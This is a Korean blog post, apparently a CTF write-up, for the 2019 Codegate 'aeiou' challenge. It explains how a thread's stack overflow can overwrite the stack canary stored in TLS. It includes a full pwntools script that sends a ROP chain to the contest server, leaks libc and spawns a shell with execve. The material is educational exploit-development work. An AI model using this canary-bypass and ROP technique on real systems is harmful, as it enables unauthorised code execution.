2019 codegate aeiou
힙문제인줄 알고 엄청 고민하다가 대회 끝나갈때쯤 god_the_reum 풀면서 갑자기 아는 형이 2017 codegate hunting 풀 때 처음에 thread를 이용한 canary bypass로 풀려고 했던게 생각나서 해봤는데 대회 끝나고 나서야 푸네요 ㅠㅠㅠㅠㅠ 본선 1등차이 하...
이 문제를 풀기 위해서는 쓰레드에 관한 개념을 알아야 한다.
리눅스는 x86: gs
, x86_64: fs
레지스터로 TLS
를 관리한다.
TLS
란 쓰레드를 관리하기 위한 전역변수이며 해당 변수의 0번 째 인덱스에는 TCB
(Thread Control Block)의 주소가 저장된다.
TCB
란 말그대로 해당 쓰레드를 관리하기 위한 구조체라고 보면 된다.
xxxxxxxxxx
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
TLS
는 위와 같이 되어 있는데, 직접 분석해보면 TCB
가 TLS
와 동일한 값을 가지고 있다. 둘이 혼용되어 쓰이는 것 같다.
위 구조체에서 볼 수 있는 stack_guard
영역은 fs:0x28
영역에 저장되어 있는 stack canary
이다.
만약 우리가 stack_guard
영역을 오버플로우로 덮을 수 있다면 canary
를 우리가 원하는 값으로 조작할 수 있다는 것이 이 문제의 포인트이다.
TLS
영역은 libc
와 비슷한 구간에 mmap
으로 할당되어 있어 main
에서의 오버플로우로는 덮을 수 없다.
하지만 새로운 쓰레드가 만들어질 때 TLS
영역과 새로운 쓰레드의 stack 영역이 같은 mmap 공간에 놓이게 되어 새로운 쓰레드에서 스택 오버플로우가 발생할 경우 TLS
영역의 stack_guard
를 덮을 수 있는 것이다.
추가적으로 fs 영역을 덮으면 system함수가 왠지 모르게 이상해지므로(분석 해봤는데도 아직은 잘 모르겠다..) execve 함수로 쉘을 따자.
xxxxxxxxxx
from pwn import *
#context.log_level = 'debug'
e = ELF('./aeiou')
s = connect('110.10.147.109', 17777)
#s = process(e.path, env={'LD_PRELOAD':'./libc.so'})
l = ELF('./libc.so')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
size = 0x1800
ru('>>')
sl('3')
ru('number!\n')
sl(str(size))
pop_rdi = 0x004026f3 # pop rdi; ret
pop_rsi_r15 = 0x004026f1 # pop rsi; pop r15; ret
bss = 0x0000000000604020 + 0x20
pop_rsp_r13_r14_r15 = 0x004026ed
pay = 'A' * 0x1010
pay += 'A' * 8
pay += p64(pop_rdi)
pay += p64(e.got['setbuf'])
pay += p64(e.plt['puts'])
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(bss)
pay += p64(0)
pay += p64(e.plt['read'])
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(bss)
pay += p64(0)
pay += p64(e.plt['read'])
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(bss)
pay += p64(0)
pay += p64(e.plt['read'])
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(bss)
pay += p64(0)
pay += p64(e.plt['read'])
pay += p64(pop_rsp_r13_r14_r15)
pay += p64(bss - 0x18)
pay += pay.ljust(size, 'A')
s.send(pay)
ru(':)\n')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - l.symbols['setbuf']
print('libc_base!: {}'.format(hex(libc_base)))
execve = libc_base + l.symbols['execve']
print('execve!: {}'.format(hex(execve)))
pop_rdx = libc_base + 0x1b96
print('pop_rdx!: {}'.format(hex(pop_rdx)))
binsh = libc_base + 0x18cd57
print('binsh!: {}'.format(hex(binsh)))
pay2 = p64(pop_rdi)
pay2 += p64(binsh)
pay2 += p64(pop_rsi_r15)
pay2 += p64(0)*2
pay2 += p64(pop_rdx)
pay2 += p64(0)
pay2 += p64(execve)
s.sendline(pay2)
io()
출처
'system > writeup' 카테고리의 다른 글
pwnable.kr crypto1 (0) | 2019.02.01 |
---|---|
2017 rctf aircraft (0) | 2019.01.30 |
2017 rctf rnote (0) | 2019.01.28 |
2019 insomnihack onewrite (0) | 2019.01.27 |
2019 codegate god-the-reum (0) | 2019.01.27 |